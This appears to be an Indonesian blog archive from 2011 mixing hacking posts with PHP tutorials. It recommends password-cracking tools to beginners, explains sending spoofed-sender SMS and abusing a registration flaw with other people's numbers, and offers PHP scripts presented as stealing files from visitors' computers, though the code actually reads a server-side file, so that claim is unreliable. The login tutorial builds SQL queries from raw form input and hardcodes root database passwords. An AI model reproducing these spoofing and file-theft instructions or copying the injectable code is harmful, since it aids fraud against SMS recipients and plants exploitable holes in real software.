Showing posts with label Languages. Show all posts
Showing posts with label Languages. Show all posts

Sunday, April 17, 2011

Belajar Hacking




Bagi para hacker pemula, kesulitan utama yang akan di hadapi adalah mencari tool (software) yang dapat digunakan untuk mulai belajar hacking. Pada kesempatan ini beberapa situs yang membawa

beberapa tool yang sangat berguna untuk melakukan hacking akan di perlihatkan, situs tersebut adalah:

 

Hacking Exposed

Hacking Exposed barangkali salah satu situs yang baik untuk hacker pemula, tentunya ada baiknya membaca-baca berbagai buku yang diterbitkan mereka, seperti, hacking exposed 3rd edition atau hacking exposed windows 2000, sebagai referensi.

http://www.hackingexposed.com/win2k/links.html berguna bagi pengguna Windows 2000 karena dengan mudah mencari berbagai softcopy dari file yang diperlukan untuk melakukan exploitasi dan defence di Windows 2000. Detail keterangan / cerita tentang teknik yang dibutuhkan diterangkan dalam buku Hacking Exposed Windows 2000 yang terdiri dari enam (6) bagian termasuk appendix, yaitu, bagian pertama dasar, bagian ke dua teknik profiling, bagian ke tiga teknik penyerangan, bagian ke empat berbagai eksploit untuk servis dan klien, dan terakhir bagian ke lima teknik pertahanan.

http://www.hackingexposed.com/links/links.html sangat berguna bagi pengguna umum, karena tersedia link yang cukup banyak yang dibutuhkan untuk mengerti teknik hacking. Bagi para hacker pemula ada baiknya masuk ke IRC channels, vulnerabilities and exploits, footprinting, hardening, gateway services.

Sebagian dari link yang ada mungkin sudah tidak jalan, yah memang demikian lah dunia bawah tanah

tidak ada jaminan reliablitas. http://www.hackingexposed.com/tools/tools.html barangkali bagian yang paling berbahaya & paling banyak di minati oleh para hacker pemula. Beberapa topik seperti Counter Measure Tools, Denial of Service, Enumeration Tools, Footprinting Tools, Tool untuk mengambil alih kontrol / komputer, tool untuk menaikin user previlege, tool untuk membuat backdoor, scanning, dll masih banyak sekali.

http://www.hackingexposed.com/scripts/scripts.html berisi kumpulan script yang di kategorikan dalam tiga (3) kelompok, yaitu, untuk Unix scan, NT scan dan Web scan. Semua di tulis dalam perl untuk di jalankan di Linux / UNIX. Untuk menjalankan script, anda membutuhkan software netcat yang dapat di download dari http://www.atstake.com/research/tools/index.html.

http://www.atstake.com/research/tools/index.html barangkali termasuk bagian paling berbahaya di situs @stake. Di sini anda akan dapat mendownload tools yang dibutuhkan untuk mencari informasi,

melakukan forensic (auditing jika ada serangan), scan & analisa kelemahan, dan mungkin akan banyak membuat pusing adminitrator jaringan adalah password auditing tools yang bisa membuka password. Harus di akui bahwa sebagian besar tool tersebut umumnya berjalan di atas mesin Unix.

http://www.hoobie.net/security/exploits/index.html berisi banyak source eksploit lama hasil karya besar para hacker di masanya. Cukup menarik bagi anda yang ingin mempelajari teknik-teknik eksploitasi. Dari situs ini, ada baiknya anda mencoba untuk men-download brutus untuk meng-crack password (ups ini sangat berbahaya).

Salah sumber eksploit & ilmu hacking yang baik di Internet adalah http://xforce.iis.net, anda dapat

memilih tool berdasarkan jenis sistem operasi, tipe eksploitasinya dll.

Wednesday, April 13, 2011

Free fake SMS / masked SMS

Wuihh asyik neh  buat ngerjain orang atu temen deket… ehem..  apalagi klo gratisan

Owwww.. jangan heran kalo tiba2 ada sms masuk n kamu liat sender ato pengirimnya misalnya..
from ariel peterpan, kadalpunk, 222, indosat, telkomsel,   dari nomor kamu sendiri atau yang lain..
pokokna yang aneh2..

Itu bukan sms yang berasal dari negri khayangan…, Bisa jadi ada temen kamu yang mo ngerjain..
atau ada seorang yang ingin nipu kamu.

Mo ikutan bgituan ? okeeeeey… lanjuuuuuut…
Arahkan browser kamu ke http://communicator.clickatell.com/ ……
Dan silakan registrasi… Kamu bakal dapet 10 free sms yang sender/ pengirimnya dapat kamu ubah sesuka hati..

Cuman dapet free 10 sms… masih kurang ya… ?
ada trik neh klo mo dapet 10 sms lagi.. dan lagi… caranya gampang banget kok..

registrasi ulang aja lagii... dengan email dan nomor ponsel yang sama ...
kecuali user login harus berbedA dan belum pernah di registrasi atu dengan cara sebagai berikut...

silahkan mendaftar lagi dengan user dan data yang berbeda / asal2an.. :p alias palsu..
untuk dikolom registrasi no hp, silahkan isi aja dengan no hp orang lain,
atau asal2an yang jelasnya belum pernah di pakai untuk registrasi..  setelah registrasi sukses..
kamu nantinya bakal dimintai kode aktivasi yang dikirimkan melalui sms, okey..
no tujuan dimana kode aktivasi akan dikirimkan, ganti aja dengan no hp kamu..
cara registrasi dan aktivasinya sama sperti registrasi di lub-mentari.com atau m3-access.com..

Jadi klo kedit free sms kam habiiis, daftar baru aja lagi.. bereess…

http://communicator.clickatell.com  punya kelemahan di bagian registrasi,
untuk nomor tujuan dimana kode aktivasi akan dikirimkan bisa di ubah..
dan dapat berbeda dari yang sebelumnya kita input di form registrasi.. lebihnya lagi..
pengiriman kode aktivasi dapat dikirimkan ke nomor yang sebelumnya pernah sebagai penerima kode aktivasi…
jadi 1 nomor bisa menerima lebih dari 1 kode aktivasi..

Eh ternyata emang bener bisa registrasi berulan ulang dengan nomor posel dan email yang samaaaaa...

Buat yang masih penasaran coba aja nih situs lainnya: smszone.com

Bahaya pencurian file pada komputer client menggunakan script

Sebelum saya memperjelas isi dari pada judul ini, saya memohon agar apa yang dipraktekkan disini tidak menjadi suatu hal yang negatif buat orang lain. Kalaupun anda ingin mempraktekkannya dengan madsud jahat, segala sesuatunya bukan merupakan tanggung jawab saya.
Oke, kembali ke topik. Anda pasti tidak menduga, bila suatu ketika saya tahu apa rencana dibalik data yang Anda simpan pada komputer anda. Saya tidak perlu panggil dukun dan begadang seharian untuk menunggu bapak dukun menyelesaikan aksinya, he..he..he. Tahukah anda ?? dengan script PHP berikut ini, file-file yang ada di komputer client dapat diambil dengan mudah dan terselip di server Anda. Cukup dengan menipu korban untuk membuka situs yang sudah disisipi script ini, maka secara otomatis ia akan mengambil (upload) ke path server tujuan anda.
Berikut Scriptnya :


1. File Pertama
<?
// Script ini buat yang ngerti PHP
// Nama File : ScrCuri.php
// Fungsi : Pemproses pengiriman file ke server
$host='localhost';
$port=80;
// Ubah variabel path letak posisi upload.php
$path='/upload.php';
// Ganti variabel fileku dengan file yang ingin kamu ambil
$fileku = "c:\\\autoexec.bat";
$content_type = "text/plain"; // type mime file
// Start Header
srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);
$data = "--$boundary";
$content_file = join("", file($fileku));
$data.="
Content-Disposition: form-data; name=\"fileku\"; filename=\"$fileku\"
Content-Type: $content_type
$content_file
--$boundary";
$data.="--\r\n\r\n";
$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";
// End Header
$result="";
// Buka Koneksi
$f = fsockopen($host, $port);
fputs($f,$msg.$data);
// Dapatkan tanggapan + hasil
while (!feof($f))
{
$result .= fread($f,32000);
}
fclose($f);
// Cetak hasil
echo $result;
?>


2. File Kedua
<?
// Nama File : upload.php
// Fungsi : Penangkapan isi header atau request yang dikirim dan melakukan proses penyalinan file dari client

if (is_uploaded_file($fileku))
{
// Ubah variabel namasimpan sesuai path file penyimpanan yang kamu inginkan
$namasimpan="/backup_backup_backup/test/autoexec.bat"
copy($fileku, $namasimpan);
// Tampilkan hasil
echo "Oke";
}else{
echo "Gagal copy file >> '$fileku'.";
}
?>


Nah, setelah kamu menyimpan script kamu pada server/host kamu. Maka, untuk membuktikannya coba akses script scrcuri.php. Mis : http://bloganda.com/scrcuri.php , ingat!!! konfigurasi harus cocok lho... biar kamu gampang, simpan aja kedua file di root server kamu jadi, file upload.php diakses pada http://situskamu.com/upload.php. Udah ngerti??... Yap... aku harap begitu.. he..he..he. Untuk coba-coba akseslah script scrcuri.php pada lingkungan windows... apa yang terjadi??? Wowww... sebuah file autoexec.bat telah menyisip diserver kamu, alias diambil dari komputer client kamu sebagai percobaan.
Sebelum kamu merasa puas, perlu anda ketahui bahwa script diatas, belum sempurna (Makanya jangan puas dulu.... ). Mau tau kekurangannya ???.. Yeahhh... saya tau kamu juga tau iya khan???. Kita ketahui, pada file percobaan kita... hanya mampu mengambil file tertentu saja yang belum tentu ada dikomputer target. Misalkan aja file c:\tomero.gif , otomatis semua komputer belum tentu punya file kayak gitu. So, solusinya.. tambahkan aja javascript dan manipulasi dikit kedua script diatas... Tau khan.. k'lo ngga tau biarin aja buat PR dirumah atau bila perlu belajar PHP dulu yang buaaanyaaakk. Ngga bisa juga?? Jurus yang paling jitu adalah , Copy-Paste aja..." Dasar orang males...he..he..he..
Akhirnya, sekali lagi... segala sesuatu yang terdapat pada info ini, kegunaanya ada ditangan anda. Saya cuma menulis dan mengembangkan ide dengan madsud agar anda berhati-hati dengan dunia Internet walaupun terbilang asyikkk... Maafkan, jika ada kesalahan atau hal yang kurang berkenan dihati anda. Terima kasih.

Cara menghilangkan iklan pada halaman web yang ada pada hosting gratisan

Sebelum saya menunjukkan beberapa contoh kode yang pasti ampuh untuk mengatasi beberapa iklan yang ada pada hosting gratisan. Maka, saya ingin memberitahu pada anda teknik penyisipan iklan yang umum dan banyak digunakan antara lain :

1.  Iklan berbentuk banner
Jenis penyisipan iklan ini akan terlihat jelas menempel pada halaman web anda. Teknik ini akan menambahkan kode iklan yang akan menjadi satu kesatuan dalam halaman web anda. Kodenya biasanya berupa script html sehingga sama saja seperti anda menyisipkan gambar pada halaman web anda.
2. Iklan dengan frame
Jenis ini merupakan jenis pemunculan iklan yang paling saya benci. Selain sangat kejam dalam membagi wilayah antara iklan dan isi web kita sendiri, kadang-kadang teknik ini juga membuat halaman web kita akan lambat proses pengaksesannya. Itu terjadi, karena ketika seseorang mengakses halaman web anda, yang terjadi adalah bukan hanya halaman web anda yang diload melainkan satu atau beberapa halaman iklan yang diload dan dibentuk dalam beberapa frame.
3. Iklan dengan popup (jendela baru)
Iklan dengan teknik ini sifatnya bisa menggangu dan bisa juga tidak. Saya mengatakan demikian karena, iklan ini akan muncul pada jendelanya sendiri atau halaman baru tanpa mengganggu atau menutupi isi pada halaman web anda yang secara khusus memiliki jendela sendiri. Berbeda dengan kedua teknik diatas, kedua-duanya akan menyisipkan iklannya pada satu jendela. Biasanya yang menderita akibat teknik periklanan ini adalah orang yang mengakses situs anda. Karena mau nggak mau ia harus menutup jendela iklan itu karena memadati isi taskbarnya. Dan karena hal ini bisa-bisa pengunjung anda akan berkurang.

Oke, selesai sudah bicara teknik. Kini saya akan membagikan contoh script dengan javascript untuk memblok iklan-iklan yang menggangu tersebut. Perlu diketahui, agar anda dapat mengetahui teknik iklan yang disisipkan pada situs anda, mau nggak mau anda harus periksa kodenya dan pelajari, nggak ngerti??? sepertinya anda perlu banyak memahami tentang HTML maupun javascript di dunia maya ini. Berikut contoh scriptnya :


1. Untuk Teknik Pertama
Bila baris iklan pada kode HTMLnya berada diantara tag <DIV> misalkan :
<DIV>Iklan bla..bla..bla</DIV>
Anda hanya perlu menghitung pada tag
keberapa dikurangi 1 dan isikan nilainya pada variabel id. Misalkan contoh HTML :

<HTML>
<BODY>
<DIV>
<DIV>
IKLAN
</DIV>
</DIV>
<DIV>
ISIKU
</DIV>
ISIKU LAGI
</BODY>
</HTML>

Terlihat jelas disana ada dua tag <DIV>, kecuali tag <DIV> didalam tag <DIV> tidak termasuk. Tag <DIV> iklan berada pada awal alias Tag <DIV> pertama, maka idnya adalah :
id = posisi - 1
id = 1 - 1
id = 0
Udah tambahkan script berikut diakhir seluruh element tag <DIV> atau setelah tag </HTML> juga boleh.


<script>
var collDivs = document.all.tags("DIV");
collDivs[0].style.display="none";
</script>

Sama seperti Tag <DIV> jika iklan yang ditampilkan berbentuk gambar atau menggunakan tag <IMG>, gunakan script berikut sesuai id tag <IMG> yang cara mendapatkannya sama seperti tag <DIV>.


<script>
document.images[0].style.display="none";
</script>

2. Untuk menghilangkan iklan dengan frame
Kalau anda mengerti HTML, pastilah anda tahu madsud saya yang satu ini. Untuk menghilangkan iklan dengan teknik ini adalah cukup mudah. Logikanya, kita hanya perlu menyuruh browser kita agar me-load halaman situs kita yang sebenarnya yang secara acak ditetapkan oleh penyedia hosting gratisan. Karena perlu anda ketahui, ketika anda meng-upload file-file situs anda ke host gratisan, nama file yang anda akses pada host tersebut bukanlah merupakan halaman web anda. Misalkan anda meng-upload file tomero-keren.html, maka secara otomatis file yang sebenarnya bisa saja tomero-keren.html?2007, tomero-ff.html, 03434423.html, dsb dan yang pasti kamu bakalan repot bila harus setiap saat mengecek file sebenarnya tiap hari. Isi file halaman asli kamu diubah menjadi halaman yang membentuk suatu frame, dimana diantara frame tersebut terdapat halaman situs kamu yang nama filenya udah diganti dan juga iklan-iklan yang menjengkelkan. Oke, dari pada panjang lebar mending saya kasih aja scriptnya.


<SCRIPT>
if(top.location.href != self.location.href)
{
top.location.href = self.location.href;
}
</SCRIPT>


Script ini akan me-load secara otomatis nama file atau alamat situs dari pada halaman web kamu ketika di akses. So, frame dan pastinya iklan akan hilang.

3. Teknik yang terakhir
Untuk teknik iklan yang satu ini, agaknya perlu banyak variasi script. Variasi tersebut di tetapkan berdasarkan kapan popup muncul serta masalah peletakan script. Sebelum anda merajuk kepada script, anda harus dapat mengetahui nama dari popup iklan host anda. Untuk mengetahui nama popup tersebut, lihat pada kode HTML nya dan dapatkan kode yang mirip-mirip dengan kode berikut:
window.open("halaman_web.html", "nama_popup","parameter");
Script diatas merupakan fungsi javascript untuk menampilkan jendela baru alias popup.

* Kemungkinan script yang menampilkan popup berada diawal kode HTML anda. Untuk itu, anda menambahkan script berikut dibawah script popup iklan atau baiknya didalam tag <BODY>. Karena perlu diketahui, intrepreter javascript akan langsung menjalankan script tanpa memperdulikan halaman sudah diload semua. Intrepeternya siap mengeksekusi jika kode yang diawali tag <SCRIPT> dan diakhiri tag </SCRIPT> sudah diload semua. Sehingga mungkin saja terjadi error bila suatu script mengandung pemanggilan suatu object, sedangkan object itu belum selesai diload termasuk objek yang dibentuk oleh kode javascript iklan (misalkan objek gambar atau tabel). Oke, dari pada banyak ngomong tapi nggak abis-abis berikut script yang akan menutup secara otomatis popup setelah ia muncul.


<script>
pup=window.open("about:blank","nama_popup","");
pup.window.close();
window.focus;
</script>


Script diatas akan memanggil ulang jendela popup dan mengakses halaman baru pada jendela tersebut, lalu menutupnya.
* Jika script popup tidak berda diawal kode HTML anda. Maka, sisipkan saja script berikut diatasnya. Script ini akan memblok akses popup yang anda inginkan sesuai nama popupnya, sehingga popup tidak sempat muncul atau dibuka.


<script>
function SaringJendela(url,nama,parmeter)
{
if(name.indexOf("nama_popup")!=-1) return false;
return window.Xopen(url,nama,parmeter);
}
window.Xopen=window.open;
window.open=SaringJendela;
</script>

Akhirnya, tuntas juga petualangan kita mengatasi iklan di hosting gratisan. Anda harus tahu, script yang saya contohkan diatas tidak selamanya bisa digunakan untuk membasmi iklan. Tetapi, setidaknya saya sudah memberikan gambaran kepada anda bagaimana cara membasmi iklan tersebut. Hanya kekreatifitasan dan juga kemauan anda yang terus-menerus mencoba untuk mencari dan mengembangkannya. Tetapi saya yakin, bila anda mampu javascript dan HTML, semuanya pasti berhasil tanpa perlu script yang saya ajarkan. Jika kamu udah paham semuanya serta logika iklan - iklan itu terbentuk, semua iklan - iklan pada hosting gratisan juga dapat dihapuskan hanya dengan tag - tag HTML tanpa perlu javascript. Anda hanya perlu menipu peletakan kode iklannya, hebat khan???. Huaahhh,

Instalasi PHP

Paket instalasi PHP dapat didownload di situs resmi PHP (http://www.php.net/downloads.php). Paket instalasi PHP tersedia dalam bentuk Windows Installer maupun paket terkompresi (zip). Disarankan untuk melakukan instalasi dengan menggunakan paket terkompresi karena sekalipun sedikit lebih rumit tetapi lebih fleksibel. Paket PHP dalam bentuk terkompresi juga disediakan pada CD yang disertakan buku ini. Paket PHP yang disediakan adalah versi 5.0.4 yang pada saat buku ini ditulis merupakan paket stabil terbaru.

Bagi pengguna Linux, PHP juga menyediakan source code nya dalam bentuk tarballs (*.tar.gz). Namun disarankan untuk mendownload paket binary yang disediakan oleh masing-masing distro supaya instalasinya lebih mudah.

Bagian ini akan menjelaskan instalasi PHP pada sistem operasi Windows. Karena tersedia dalam bentuk terkompresi, paket tersebut harus diekstrak terlebih dahulu ke folder x:\PHP dengan x adalah partisi utama Windows. Anda juga boleh mengekstraknya ke folder yang lain namun sebaiknya nama folder tersebut tidak mengandung spasi karena dapat menyebabkan masalah.

Modul utama dari paket aplikasi PHP terdapat pada file php5ts.dll. File tersebut harus dapat diakses oleh sistem dengan mudah. Ada tiga kemungkinan yang tersedia untuk menempatkan file tersebut, yang pertama adalah pada direktori sistem Windows (x:\windows\system32), pada direktori web server (x:\Inetput\wwwroot), atau dimasukkan ke dalam direktori yang ada pada variabel Path. Sebaiknya dipilih opsi ketiga karena akan mempermudah proses upgrade.

Untuk memasukkan direktori x:\PHP ke dalam path lakukan langkah-langkah berikut:

  1. Klik kanan My Computer hingga muncul System Properties.

  2. Masuklah ke tab Advanced.

  3. Klik tombol Environment Variables.

  4. Pada bagian System Variables sorot variabel Path dan klik tombol Edit. Lihat gambar 1.

  5. Pada bagian Variable Value tambahkan direktori x:\PHP dengan terlebih dahulu memberi tanda pemisah berupa titik koma atau semicolon (;). Jadi misalnya pada bagian Variable Value telah terdapat teks berikut:


%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem

Tambahkan direktori x:\PHP hingga menjadi sebagai berikut:

%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;x:\PHP

Sekali lagi PCplus ingatkan untuk mengganti huruf x dengan partisi utama Windows atau partisi di mana Windows terinstall.

Setelah melakukan ekstraksi paket PHP dan memasukkan direktori hasil ekstraksi ke dalam Path, persiapkan file php.ini. Pada paket distribusi PHP tersebut telah terdapat dua buah file yang dapat digunakan sebagai contoh file php.ini, yaitu php.ini-dist dan php.ini-recommended. Disarankan menggunakan file php.ini-recommended sebagai basis file php.ini. Mudahnya, copykan saja file php.ini-recommended menjadi file php.ini.

Beberapa hal yang masih perlu disunting dari file php.ini adalah sebagai berikut:

  • Berilah nilai entry doc_root dengan direktori web server IIS, jadi entry tersebut akan menjadi sebagai berikut:


doc_root = x:\Inetpub\wwwroot

  • Berilah nilai entry extension_dir dengan direktori file-file ekstensi PHP. Letak direktori tersebut adalah di x:\PHP\ext. Jadi entry tersebut akan menjadi sebagai berikut:


extension_dir = d:\PHP\ext

  • Pada bagian Dynamic Extensions hilangkan tanda semicolon (;) di depan file ekstensi yang ingin diload. Dalam pembahasan buku ini, ekstensi yang harus diload adalah php_mysql.dll.

  • Berilah nilai entry browscap dengan letak file browscap.ini yang ada. Pada Windows XP, letak file browscap.ini adalah di d:\windows\system32\inetsrv\browscap.ini sehingga entry tersebut akan menjadi sebagai berikut:


browscap = x:\windows\system32\inetsrv\browscap.ini

File browscap.ini berisi informasi tentang kemampuan suatu browser (browser capabilities). File browscap.ini termutakhir dapat didownload di http://www.garykeith.com/browsers/downloads.asp.

  • Jika Anda menggunakan IIS, ubah nilai cgi.force_redirect menjadi 0.


Pastikan file php.ini dapat diakses (dibaca) oleh semua user.

Proses terakhir adalah konfigurasi web server yang digunakan. Jika Anda menggunakan IIS lakukan langkah-langkah berikut ini:

  1. Buka IIS dengan mengaktifkan menu Start > Control Panel > Administrative Tools > Internet Information Services.

  2. Buka node (local computer) > Web Sites > Default Web Site.

  3. Klik kanan pada node Default Web Site dan pilih properties.

  4. Pada kotak dialog Default Web Site Properties masuklah ke tab Home Directory.

  5. Pastikan nilai Execute Permissions adalah Scripts only.

  6. Klik tombol Configuration.

  7. Pada kotak dialog Application Configuration klik tombol Add.

  8. Untuk menggunakan CGI Binary, pada kotak teks Executable isikan x:\PHP\php-cgi.exe dan pada kotak teks Extensions isikan .php.

  9. Untuk menggunakan HTTP Authentication, ISAPI Filter harus diaktifkan. Pada kotak dialog Default Web Site Properties masuklah ke tab ISAPI Filters. Klik tombol Add.

  10. Pada Filter Properties, masukkan PHP sebagai Filter Name dan x:\PHP\php5isapi.dll sebagai Executable.

  11. Masuklah ke tab Home Directory. Pastikan nilai Execute Permissions adalah Scripts only.

  12. Klik tombol Configuration.

  13. Pada kotak dialog Application Configuration klik tombol Add.

  14. Untuk menggunakan ISAPI Filter, pada kotak teks Executable isikan x:\PHP\php5isapi.dll dan pada kotak teks Extensions isikan .php. Jika CGI dan ISAPI Filter ingin diaktifkan bersama-sama, gunakan ekstensi yang berbeda untuk keduanya, misalnya CGI menggunakan .php dan ISAPI Filter menggunakan .php5.

  15. Restart IIS dengan mengaktifkan menu Action > Stop dan kemudian Action > Start.


Untuk memeriksa apakah instalasi PHP berhasil dengan baik, pada direktori \Inetpub\wwwroot buatlah sebuah file bernama info.php yang isinya adalah sebagai berikut:

<? phpinfo() ?>

Bukalah sebuah browser dan pada bagian address ketikkan http://localhost/info.php. Jika muncul tampilan account list anda, berarti instalasi PHP berhasil.

Bila perlu buat juga file serupa dengan nama info.php5 untuk memeriksa apakah modul ISAPI PHP juga berjalan dengan baik.

Jika Anda menginginkan file index.php dijalankan secara otomatis saat memasuki direktori tertentu, buka kembali Default Web Sites Properties dan masuklah ke tab Documents. Pastikan opsi Enable Default Document aktif, kemudian klik tombol Add dan tambahkan item index.php.

Instalasi MySQL

PHP memiliki hubungan yang erat dengan database MySQL. Pada contoh-contoh program PHP yang diberikan di edisi ini beberapa di antaranya menggunakan database MySQL.

Paket instalasi MySQL dapat didownload di situs resmi MySQL (www.mysql.com) atau langsung ke alamat URL berikut: http://dev.mysql.com/downloads/index.html.

Paket instalasi MySQL for Windows tersedia dalam bentuk Windows Installer sehingga mudah diinstall. Anda tinggal mengekstrak file download dan menjalankan file setup.exe. Selanjutnya ada wizard yang menuntun Anda dalam proses instalasi. Pada akhir proses instalasi Anda diminta untuk melakukan konfigurasi terhadap server MySQL. Konfigurasi juga tersedia dalam bentuk wizard. Jika Anda tidak terlalu memahami opsi-opsi yang ada pada wizard konfigurasi tersebut, Anda dapat mengambil nilai-nilai defaultnya saja.

Instalasi PHPMyAdmin

PHPMyAdmin adalah aplikasi berbasis web yang dapat digunakan untuk melakukan administrasi database MySQL.Paket instalasi PHPMyAdmin tersedia dalam bentuk paket terkompresi. Ekstraklah paket tersebut ke folder \Inetpub\wwwroot. Secara otomatis paket akan diekstrak ke folder \Inetpub\wwwroot\phpMyAdmin-2.6.2.

Sunting file config.inc.php dengan memasukkan alamat URL lengkap aplikasi PHPMyAdmin pada entry $cfg['PmaAbsoluteUri']. Contoh:

$cfg['PmaAbsoluteUri'] = 'http://localhost/phpMyAdmin-2.6.2';

Kemudian isikan password root MySQL pada entry $cfg['Servers'][$i]['password']. Contoh:

$cfg['Servers'][$i]['password'] = 'kuncirahasia';

Sunting pula file php.ini dengan menghapus karakter semicolon (;) di depan entry extension=php_mbstring.dll.

Untuk menjalankan PHPMyAdmin, tuliskan alamat URL PHPMyAdmin pada bagian address browser.

Mengetahui Fitur Login/Logout Halaman Web Dengan PHP

 

Banyak sekali aplikasi di internet yang menggunakan fitur login dan logout. Fungsinya tentu saja membatasi akses terhadap layanan tertentu yang disediakan pada situs tersebut. Hanya anggota yang telah terdaftar saja yang diijinkan mengakses layanan-layanan khusus tersebut. Kali ini PCplus akan membahas bagaimana membuat aplikasi yang memiliki fitur login/logout. Yang dibahas di sini adalah halaman login dan logoutnya saja, sedangkan isi aplikasi yang terletak di dalamnya bisa Anda kembangkan sendiri.

Dalam pembuatan aplikasi ini kita membutuhkan database yang akan menyimpan data-data dari para anggota yang telah terdaftar. Buatlah database dengan MySQL sebagai berikut:

mysql> create database daftar;

mysql> create table anggota(

-> uname varchar(20),

-> pswd varchar(32));

Database tersebut terdiri dari satu tabel bernama “anggota” dan tabel tersebut memiliki 2 buah field yaitu uname untuk menyimpan user name dan pswd untuk menyimpan password. Mengapa field pswd ditentukan untuk memiliki 32 karakter? Kita akan bahas nanti.

Sekarang mula-mula kita akan buat dahulu halaman pendaftaran anggota. Skripnya diberikan pada listing 1.






Listing 1. Halaman pendaftaran

<HTML>

<HEAD>

<TITLE> Sign Up </TITLE>

</HEAD>

<BODY>

Isilah username dan password yang Anda inginkan <BR>

<PRE>

<FORM NAME="frmSignUp" METHOD="post" ACTION="process.php">

Username :

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</BODY>

</HTML>

Simpanlah skrip ini dengan nama signup.php. Diberi nama signup.htm pun boleh karena pada kenyataannya tidak ada skrip php pada file ini. Jika dijalankan pada browser hasilnya akan nampak seperti gambar 1.

Berikutnya kita akan membuat file process.php yang akan memproses pendaftaran kita tadi. Skripnya diberikan pada listing 2.






Listing 2. Halaman proses

<HTML>

<HEAD>

<TITLE> Processing your Account </TITLE>

</HEAD>

<BODY>

<?

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$stop = 0;

$sql = "select uname from anggota";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

while ($row = mysql_fetch_array($qry)) {

if ($uname == $row['uname']) {

echo "Username $uname was already chosen by someone else <BR>";

echo "Go back and choose another username";

$stop = 1;

break;

}

}

if ($stop==0) {

$sql = "insert into anggota values ('$uname','$pswd')";

$qry = mysql_query($sql) or

die("Query salah : "  . mysql_error());

echo "Your account is successfully created <BR>";

echo "<A HREF='login.php'> Click here </A> to login";

}

?>

</BODY>

</HTML>

Perhatikan bahwa pada baris kedua skrip php (setelah bagian <BODY>) terdapat fungsi md5. Fungsi md5 merupakan fungsi yang menghitung md5 hash dari suatu string. (Mengenai hal ini Anda dapat mendapatkan informasi lebih detil di http://www.faqs.org/rfcs/rfc1321.html). Md5 hash menghasilkan 32 karakter dalam format heksadesimal. Itulah sebabnya mengapa field pswd dibuat bertipe data karakter dengan panjang 32 karakter. Dengan md5 hash ini password Anda akan disimpan dalam bentuk yang sangat sulit ditebak.

Pada skrip ini mula-mula diperiksa apakah username yang dipilih telah ada di dalam database. Jika telah ada, maka php akan memberikan peringatan bahwa username tersebut telah ada dan Anda dipersilakan membuat username baru. Jika belum ada, maka informasi username dan password Anda akan didaftarkan ke dalam database dan Anda akan diberitahu bahwa account Anda telah dibuat. Bandingkan dengan gambar 2 dan gambar 3.

Setelah proses sign up berhasil, kini kita akan membuat halaman untuk login. Skripnya diberikan pada listing 3.






Listing 3. Halaman login

<HTML>

<HEAD>

<a class="zem_slink" href="http://en.wikipedia.org/wiki/Login" title="Login" rel="wikipedia">Login</a>

</HEAD>

<BODY>

Registered user log in:

<PRE>

<FORM NAME="frmLogIn" METHOD="post" ACTION="main.php">

Username     : <INPUT TYPE="text" NAME="uname">

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</PRE>

New user please register

<A HREF="signup.php"> here </A>

</BODY>

</HTML>

Simpanlah file ini dengan nama login.php atau login.htm. Jika dijalankan pada browser hasilnya akan nampak seperti gambar 4. Skrip ini akan diolah pada file main.php. Nah, skrip dari file main.php itu sendiri diberikan pada listing 4.






Listing 4. Pengolah login

<HTML>

<HEAD>

<TITLE> Main Page </TITLE>

</HEAD>

<BODY>

<?

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$stop = 0;

$sql = "select * from anggota where uname='$uname'";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

$num = mysql_num_rows($qry);

$row = mysql_fetch_array($qry);

if ($num==0) {

echo "Username not found <BR>";

echo "Go back and try another username";

} else {

if ($pswd!=$row['pswd']) {

echo "Your password is incorrect <BR>";

echo "Go back and type the correct password";

} else {

echo "You are successfully logged in";

}

}

?>

</BODY>

</HTML>

Pada prinsipnya skrip main.php ini mengolah data-data dari halaman login. Langkah pertama yang dilakukan tentu saja adalah koneksi ke database. Setelah itu mencocokkan username yang ada di database, jika tidak cocok Anda diminta memasukkan username kembali. Jika username cocok dengan record yang ada pada database, diperiksa passwornya. Jika passwordnya cocok, maka Anda akan dapat login, jika tidak Anda diminta untuk mengisi password yang tepat. Mudah bukan?

Namun sebenarnya skrip tersebut di atas belumlah selesai. Mengapa? Sebab skrip seperti di atas (sekalipun telah diberi “pagar” di sana-sini) tetap mudah ditembus oleh siapapun, bahkan Anda tidak perlu belajar menjadi hacker untuk dapat menembusnya.

Contoh mudah, isilah form login dengan data yang ada pada database Anda. Dengan sendirinya Anda akan login dan masuk ke halaman main.php yang bertuliskan “You are successfully logged in”. Sekarang tekan tombol “back” browser Anda, lalu setelah Anda tiba kembali ke halaman login, tekan tombol “forward”. Apa yang terjadi? Ya, Anda akan kembali masuk ke halaman main.php dan login dengan sukses. Itu artinya jika Anda lalai dan meninggalkan komputer Anda, orang lain dengan mudah akan masuk menggunakan account Anda.

Lalu bagaimana solusinya? Salah satu caranya adalah dengan menambahkan session ke dalam aplikasi tersebut. Dengan memeriksa apakah suatu variabel session pernah didaftarkan atau belum, maka aplikasi tersebut menjadi lebih aman. Dengan menggunakan solusi ini, fitur login/logout pada aplikasi kita akan terpecah menjadi lima file yang diberikan pada listing 5 hingga listing 9.






Listing 5. File login.php

<HTML>

<HEAD>

<TITLE> Login </TITLE>

</HEAD>

<BODY>

Registered user log in: <BR>

<PRE>

<FORM NAME="frmLogIn" METHOD="post" ACTION="cekpswd.php">

Username     : <INPUT TYPE="text" NAME="uname">

Password      : <INPUT TYPE="password" NAME="pswd">

<INPUT TYPE="submit" VALUE="Submit">

</FORM>

</PRE>

New user please register

<A HREF="signup.php"> here </A>

</BODY>

</HTML>

